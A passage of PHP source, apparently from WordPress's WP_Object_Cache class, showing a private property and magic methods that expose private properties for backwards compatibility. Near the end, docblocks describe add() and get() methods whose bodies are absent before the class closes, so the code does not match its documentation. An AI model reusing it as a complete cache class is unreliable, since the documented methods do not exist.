	 * @since 3.5.0
	 * @access private
	 * @var bool
	 */
	private $multisite;

	/**
	 * Makes private properties readable for backwards compatibility.
	 *
	 * @since 4.0.0
	 * @access public
	 *
	 * @param string $name Property to get.
	 * @return mixed Property.
	 */
	public function __get( $name ) {
		return $this->$name;
	}

	/**
	 * Makes private properties settable for backwards compatibility.
	 *
	 * @since 4.0.0
	 * @access public
	 *
	 * @param string $name  Property to set.
	 * @param mixed  $value Property value.
	 * @return mixed Newly-set property.
	 */
	public function __set( $name, $value ) {
		return $this->$name = $value;
	}

	/**
	 * Makes private properties checkable for backwards compatibility.
	 *
	 * @since 4.0.0
	 * @access public
	 *
	 * @param string $name Property to check if set.
	 * @return bool Whether the property is set.
	 */
	public function __isset( $name ) {
		return isset( $this->$name );
	}

	/**
	 * Makes private properties un-settable for backwards compatibility.
	 *
	 * @since 4.0.0
	 * @access public
	 *
	 * @param string $name Property to unset.
	 */
	public function __unset( $name ) {
		unset( $this->$name );
	}

	/**
	 * Adds data to the cache if it doesn't already exist.
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 * @uses WP_Object_Cache::_exists() Checks to see if the cache already has data.
	 * @uses WP_Object_Cache::set()     Sets the data after the checking the cache
	 *		                            contents existence.
	 *
	 * @param int|string $key    What to call the contents in the cache.
	 * @param mixed      $data   The contents to store in the cache.
	 * @param string     $group  Optional. Where to group the cache contents. Default 'default'.
	 * @param int        $expire Optional. When to expire the cache contents. Default 0 (no expiration).
	 * @return bool False if cache key and group already exist, true on success
	 */

	/**
	 * Retrieves the cache contents, if it exists.
	 *
	 * The contents will be first attempted to be retrieved by searching by the
	 * key in the cache group. If the cache is hit (success) then the contents
	 * are returned.
	 *
	 * On failure, the number of cache misses will be incremented.
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 * @param int|string $key    What the contents in the cache are called.
	 * @param string     $group  Optional. Where the cache contents are grouped. Default 'default'.
	 * @param string     $force  Optional. Unused. Whether to force a refetch rather than relying on the local
	 *                           cache. Default false.
	 * @param bool       &$found Optional. Whether the key was found in the cache. Disambiguates a return of
	 *                           false, a storable value. Passed by reference. Default null.
	 * @return false|mixed False on failure to retrieve contents or the cache contents on success.
	 */
}
?>